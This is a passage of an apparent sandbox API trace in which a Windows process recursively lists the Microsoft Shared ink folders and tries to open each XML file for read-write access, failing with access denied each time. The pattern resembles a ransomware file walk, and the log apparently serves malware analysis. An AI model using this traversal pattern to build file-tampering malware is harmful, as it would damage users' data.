Shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.354] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.354] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0086.354] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad") returned 71 [0086.354] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*") returned 75 [0086.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0086.356] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.357] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0086.357] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0086.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.361] GetLastError () returned 0x5 [0086.361] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0086.361] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0086.361] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0086.362] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0086.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.362] GetLastError () returned 0x5 [0086.362] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0086.362] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad") returned 71 [0086.362] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*") returned 75 [0086.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0086.362] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.363] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0086.363] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0086.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.363] GetLastError () returned 0x5 [0086.363] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0086.363] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0086.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.364] GetLastError () returned 0x5 [0086.364] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0086.365] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0086.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.365] GetLastError () returned 0x5 [0086.365] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0086.365] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0086.365] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0086.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.367] GetLastError () returned 0x5 [0086.367] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0086.367] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned 69 [0086.367] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*") returned 73 [0086.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0086.370] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.371] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0086.371] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0086.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.372] GetLastError () returned 0x5 [0086.372] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0086.372] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0086.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.372] GetLastError () returned 0x5 [0086.373] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0086.373] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0086.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.375] GetLastError () returned 0x5 [0086.375] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0086.375] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0086.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.375] GetLastError () returned 0x5 [0086.375] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0086.375] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0086.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.377] GetLastError () returned 0x5 [0086.377] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0086.377] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0086.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.377] GetLastError () returned 0x5 [0086.377] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0086.377] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0086.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.379] GetLastError () returned 0x5 [0086.379] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0086.379] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0086.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.379] GetLastError () returned 0x5 [0086.379] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0086.379] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0086.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.381] GetLastError () returned 0x5 [0086.381] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0086.381] wsprintfW (in: 